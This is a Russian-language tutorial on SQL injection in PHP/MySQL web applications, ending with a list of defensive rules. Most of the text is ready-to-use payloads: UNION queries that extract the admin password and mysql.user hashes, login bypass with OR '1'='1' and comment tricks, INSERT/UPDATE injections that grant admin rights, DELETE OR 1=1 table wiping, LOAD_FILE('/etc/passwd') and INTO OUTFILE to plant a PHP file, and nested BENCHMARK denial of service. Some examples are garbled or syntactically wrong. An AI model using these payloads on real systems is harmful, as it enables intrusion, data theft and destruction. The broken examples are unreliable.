CREATE DATABASE `news`; USE `news`; # # таблица новостей # CREATE TABLE `news` (`id` int(11) NOT NULL auto_increment, `title` varchar(50) default NULL, `date` datetime default NULL, `text` text, PRIMARY KEY (`id`)) TYPE=MyISAM; # # добавляем некоторые данные # INSERT `news` SET `id`="1", `title`="first news", `date`="2005-06-25 16:50:20", `text`="news text"; INSERT `news` SET `id`="2", `title`="second news", `date`="2005-06-24 12:12:33", `text`="test news"; # # таблица пользователей # CREATE TABLE `users` (`id` int(11) NOT NULL auto_increment, `login` varchar(50) default NULL, `password` varchar(50) default NULL, `admin` int(1) NULL DEFAULT "0", PRIMARY KEY (`id`)) TYPE=MyISAM; # # добавляем несколько пользователей, одного с правами админа, другого простого # INSERT `users` SET `id`="1", `login`="admin", `password`="qwerty", `admin`="1"; INSERT `users` SET `id`="2", `login`="user", `password`="1111", `admin`="0";

Видим, что запрос формируется в зависимости от значения $_GET["id"]. Для проверки наличия уязвимости достаточно изменить его на значение, которое может вызвать ошибку в выполнении SQL запроса.

Конечно, вывода ошибок может и не быть, но это не означает, что ошибки нет, как результат

«You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near """ at line 1»

или результат

http://test.com/index.php?id=2-1

при наличии уязвимости должен выдать результат, аналогичный

http://test.com/index.php?id=1 .

Подобные уязвимости позволяют модифицировать запрос в части параметра WHERE. Первое, что сделает злоумышленник при обнаружении такой уязвимости - исследует, какое количество полей используется в запросе. Для этого задается заведомо неверный id, чтобы исключить вывод реальной информации и объединяется с запросом с одинаковым количеством пустых полей.

http://test.com/index.php?id=-1+UNION+SELECT+null,null,null,null

количество «null» должно соответствовать количеству полей, которые используются в запросе.

Если запрос выдает ошибку, добавляется еще одно пустое значение, до тех пор пока не исчезнет ошибка и не будет получен результат с пустыми данными. Далее объединенные поля заменяются на значения, которые можно визуально наблюдать на странице.

Например:

http://test.com/index.php?id=-1+UNION+SELECT+null

теперь на странице, где должен был быть показан заголовок новости, будет красоваться qwerty.

Как узнать версии MySQL?

http://test.com/index.php?id=-1+UNION+SELECT+null,VERSION(),null,null http://test.com/index.php?id=-1+UNION+SELECT+null,USER(),null,null http://test.com/index.php?id=-1+UNION+SELECT+null,SESSION_USER(),null,null

Как вытащить логин текущего пользователя базы данных?

http://test.com/index.php?id=-1+UNION+SELECT+null,SYSTEM_USER(),null,null

Как имя используемой базы данных?

http://test.com/index.php?id=-1+UNION+SELECT+null,DATABASE(),null,null

Как получить другие данные из других таблиц?

SELECT * FROM `news` WHERE `id`=-1 UNION SELECT null, `password`, null, null FROM `users` WHERE `id`="1";

Вот таким нехитрым способом узнают пароль или хэш пароля админа. Если же текущий пользователь имеет права доступа к базе «mysql», без малейших проблем злоумышленник получит хэш пароля админа.

Http://test.com/index.php?id=-1+union+select+null,mysql.user.password,null,null+from+mysql.user

Теперь его подбор это просто вопрос времени.

Поиск

Поиск - одно из наиболее уязвимых мест, поскольку одновременно передается большое количество параметров запроса. Пример простого запроса, который выполняет поиск по ключевому слову:

SELECT * FROM `news` WHERE `title` LIKE "%$search%" OR `text` LIKE "%$search%"

$search - слово, которое передается с формы. Злоумышленник может передать в переменной $search="# теперь запрос будет выглядеть следующим образом:

SELECT * FROM `news` WHERE `title` LIKE "%"#%" OR `text` LIKE "%"#%";

Соответственно вместо результатов поиска по ключевому слову будут выданы все данные. Это также позволяет использовать возможность объединения запросов, описанную выше.

Использование параметра ORDER

Часто можно увидеть, что при введении параметров поиска, или выводе информации дают возможность пользователю сортировать данные по определенным полям. Скажу сразу, что использование данной уязвимости не является слишком опасным, поскольку при попытке объединения запросов вызовет ошибку, однако в паре с уязвимостями в других полях есть опасность закомментирования этого параметра.

http://test.com/index.php?sort=name

параметр ORDER формируется в зависимости от переменной $sort

Будет сформирован следующий запрос:

SELECT * FROM `news` WHERE `title` LIKE "%"/*%" OR `text` LIKE "%"/*%" ORDER BY */

тем самым комментируется одно из условий и параметр ORDER

Теперь можно снова объединить запрос, присвоив $sort=*/ UNION SELECT…

Как вариант использования уязвимости этого параметра:

SELECT * FROM `users` ORDER BY LENGTH(password);

Позволит отсортировать пользователей в зависимости от длины пароля, при условии, что он сохраняется в «чистом» виде.

Авторизация

Попробуем теперь рассмотреть варианты SQL инъекций, которые возникают при авторизации пользователей. Как правило запрос, который проверяет правильность данных авторизации выглядит следующим образом:

SELECT * FROM `users` WHERE `login`="$login" AND `password`="$password";

где $login и $password это переменные, которые передаются с формы. Подобный запрос возвращает данные по пользователю в случае успеха, а в случае неудачи пустой результат. Соответственно для того, чтобы пройти авторизацию злоумышленнику достаточно модифицировать запрос таким образом, чтобы он вернул ненулевой результат. Задается логин, который соответствует реальному пользователю, а вместо пароля указывается " OR "1"="1 Или какое-нибудь истинное условие (1, "a"="a", 1<>2, 3>2, 1+1, ISNULL(NULL), 2 IN (0,1,2), 2 BETWEEN 1 AND 3). Соответственно запрос будет сформирован следующим образом:

SELECT * FROM `users` WHERE `login`="admin" AND `password`="" OR "1"="1";

что вернет результат, а как следствие, приведет к несанкционированной авторизации. А если пароли в таблице хэшированные? Тогда проверку пароля просто «отключают», закомментировав все, что идет после `login`. В форме вместо логина назначается логин реального пользователя и "# тем самым закомментируется проверка пароля.

SELECT * FROM `users` WHERE `login`="admin"#" AND `password`="12345"

как вариант "OR `id`=2#

SELECT * FROM `users` WHERE `login`="" OR `id`=2#" AND `password`="12345"

SELECT * FROM `users` WHERE `login`="" OR `admin`="1"#" AND `password`="12345"

Большой ошибкой является проверка пароля следующим образом:

SELECT * FROM `users` WHERE `login`="$login" AND `password` LIKE "$password"

поскольку в этом случае для любого логина подойдет пароль %

INSERT & UPDATE

Однако не только SELECT-ы являются уязвимым местом SQL. Не менее уязвимыми могут оказаться INSERT и UPDATE. Допустим, на сайте есть возможность регистрации пользователей. Запрос, который добавляет нового пользователя:

Уязвимость одного из полей позволяет модифицировать запрос с необходимыми данными. В поле login добавляем пользователь", "пароль", 1)# тем самым добавив пользователя с правами админа.

INSERT `users` SET `login`="пользователь", `password`="пароль", `admin`="0";

Допустим, что поле `admin` находится перед полем `login`, соответственно трюк с заменой данных, которые идут после поля `login` не проходит. Вспоминаем, что синтаксис команды INSERT позволяет добавлять не только одну строчку, а несколько. Пример уязвимости в поле login: $login= пользователь", "пароль"), (1, "хакер", "пароль")#

INSERT INTO `users` SET (`admin`, `login`, `password`) VALUES (0, "пользователь", "пароль"), (1, "хакер", "пароль")#", "пароль");

Таким образом создается 2 записи, одна с правами простого пользователя, другая с желаемыми правами админа.

Подобная ситуация и с UPDATE

Добавление дополнительных полей для изменения:

$login=", `password`="", `admin`="1

Тогда подобный запрос

UPDATE `users` SET `login`="чайник" WHERE `id`=2;

Модифицируется следующим образом:

UPDATE `users` SET `login`="", `password`="", `admin`="1" WHERE `id`=2;

Что произойдет? Пользователь с ID 2 изменит логин и пароль на пустые значения и получит права админа. Или в случае

$login=", `password`="" WHERE `id` =1#

Логин и пароль админа станут пустыми.

DELETE

Тут все просто, никаких данных получить или изменить не удастся, но удалить лишнее - всегда пожалуйста.

$id=1 OR 1=1

DELETE FROM `news` WHERE `id`="1" OR 1=1; // почистит все записи в таблице.

Вместо 1=1 может быть любое истинное условие, про которое говорилось выше. Может спасти параметр LIMIT, который ограничит количество удаленных строк, но не всегда, его могут просто закомментировать.

DELETE FROM `news` WHERE `id`="1" OR 1=1# LIMIT 1;

Работа с файлами через SQL инъекции

Сильно сомневаюсь, что это где-то может пройти, но справедливости ради нужно описать и такие способы. При включенных привилегиях file можно использовать команды LOAD_FILE и OUTFILE.

Про их опасность можно судить из нижеприведенных запросов:

SELECT * FROM `news` WHERE `id`=-1 union select null,LOAD_FILE("/etc/passwd"),null,null; SELECT * FROM `news` WHERE `id`=-1 UNION SELECT null, LOAD_FILE("/home/test/www/dbconf.php"),null,null;

Но на этом все беды еще не заканчиваются.

SELECT * FROM `news` WHERE `id`=-1 UNION SELECT null,"",null,null FROM `news` into outfile "/home/test/www/test.php";

Вот так записываем файл, который содержит PHP код. Правда кроме кода, в нем будет еще несколько записей null но это никаким образом не повлияет на работоспособность PHP кода. Однако есть несколько условий, благодаря которым эти способы сработают:

  • Включена привилегия FILE для текущего пользователя базы данных;
  • Права на чтение или запись этих файлов для пользователя, под которым запускается MySQL сервер абсолютный путь к файлу;
  • менее важное условие - размер файла должен быть меньше чем max_allowed_packet, но поскольку в MySQL 3.23 размер наибольшего пакета может быть 16 мБ, а в 4.0.1 и более, размер пакета ограничивается только количеством доступной памяти, вплоть до теоретического максимума в 2 Гб это условие как правило всегда доступно.

Magic quotes

Магические кавычки делают невозможным использование SQL инъекций в строковых переменных, поскольку автоматически экранирует все " и " которые приходят с $_GET та $_POST. Но это не касается использования уязвимостей в целых или дробных параметрах, правда с поправкой, что нельзя будет использовать ". В этом случае помогает функция сhar.

SELECT * FROM `news` WHERE `id`=-1 UNION SELECT null, char(116, 101, 115, 116), null, null;

DOS через SQL инъекцию.

Чуть не забыл сказать, а знатоки SQL подтвердят, что операция UNION возможна только в MySQL >=4.0.0. С облегчением вздохнули люди, у которых проекты на предыдущих версиях:) Но не все так безопасно, как выглядит на первый взгляд. Логику злоумышленника иногда сложно проследить. «Не получится взломать, так хоть завалю» подумает хацкер, набирая функцию BENCHMARK для примера запрос

SELECT * FROM `news` WHERE `id`=BENCHMARK(1000000,MD5(NOW()));

Выполнялся у меня от 12 до 15 секунд. Добавив нолик - 174 секунды. На большее у меня просто не поднялась рука. Конечно, на мощных серверах такие вещи будут выполняться намного быстрее, но…BENCHMARK позволяет вкладывать себя один в один. Вот так:

SELECT * FROM `news` WHERE `id`=BENCHMARK(1000000,BENCHMARK(1000000,MD5(NOW())));

Или даже вот так

SELECT * FROM `news` WHERE `id`=BENCHMARK(1000000,BENCHMARK(1000000,BENCHMARK(1000000,MD5(NOW()))));

Да и количество нулей ограничено разве что «добротой» того, кто их набирает.

Я думаю, что даже ОЧЕНЬ мощная машина, не сможет с легкостью проглотить такие запросы.

Итог

На этом все. В этой статье я старался максимально охватить варианты уязвимостей, которые допускают программисты при создании программ с использованием баз данных MySQL. Однако я более чем уверен, что это далеко не полный перечень.

Важно запомнить правила против SQL инъекций

  • Не доверяйте НИКАКИМ данным, которые приходят от пользователя. Речь идет не только о данных, которые передаются массивами $_GET и $_POST. Не следует забывать про $_COOKIE и другие части HTTP заголовков. Следует помнить про те, что их легко подменить.
  • Не стоит надеяться на опцию PHP «magic quotes», которые наверно больше мешают чем помогают. Все данные, которые передаются в базу данных должны быть сведены по типам с полями базы данных. ($id=(int)$_GET["id"]) или защищены функциями mysql_real_escape_string или mysql_real_escape_string.
  • mysql_real_escape_string не экранирует % и _, поэтому не стоит ее использовать в паре с LIKE.
  • Не стоит также сильно надеяться на правильно написанный mod_rewrite. Это только способы для создания «удобных» URL, но уж никак не способ защиты от SQL инъекций.
  • Отключите вывод информации об ошибках.
  • Не помогайте нехорошим посетителям. Даже если ошибка будет выявлена, отсутствие информации о ней серьезно затруднит ее применение. Помните про разницу между стадией разработки и рабочим проектом. Вывод ошибок и другой детальной информации - ваш союзник на стадии разработки, и союзник злоумышленника в рабочем варианте. Не стоит также прятать их, комментируя в HTML коде, на 1000-чу посетителей найдется 1, который таки найдет подобные вещи.
  • Обрабатывайте ошибки.
  • Напишите обработку SQL запросов таким образом, чтобы информация о них сохранялась в каких-нибудь логах или отсылалась по почте.
  • Не сохраняйте данные доступа к базе данных в файлах, которые не обрабатываются PHP как код.
  • Думаю никому не открыл Америки, но по собственному опыту могу сказать, что подобная практика достаточно распространена. Как правило это файл с расширением *.inc
  • Не создавайте «супер-пользователя» базы данных.
  • Предоставляйте только права, необходимые для выполнения конкретных задач.
  • В поиске стоит ограничить минимальное и максимальное количество символов, являющееся параметрами запроса.
  • Для честного пользователя вполне достаточно от 3-х до 60-70 символов, чтобы удовлетворить свои поисковые интересы, и одновременно вы предупреждаете ситуации, когда поисковым запросом станет том «Войны и мира».
  • Всегда проверяйте количество возвращенных записей после запроса

Почти на 90% сайтов, написанных на php встречается такая логическая ошибка, особенно это можно наблюдать, когда делается запрос на основе полученного ID от пользователя, если руками дать скрипту несуществующий ID - мы увидим достаточно интересные результаты работы некоторых скриптов, вместо того чтобы вернуть 404 программа в лучшем случае ничего не сделает и выведет в чистую страницу.

Безопасного вам SQL .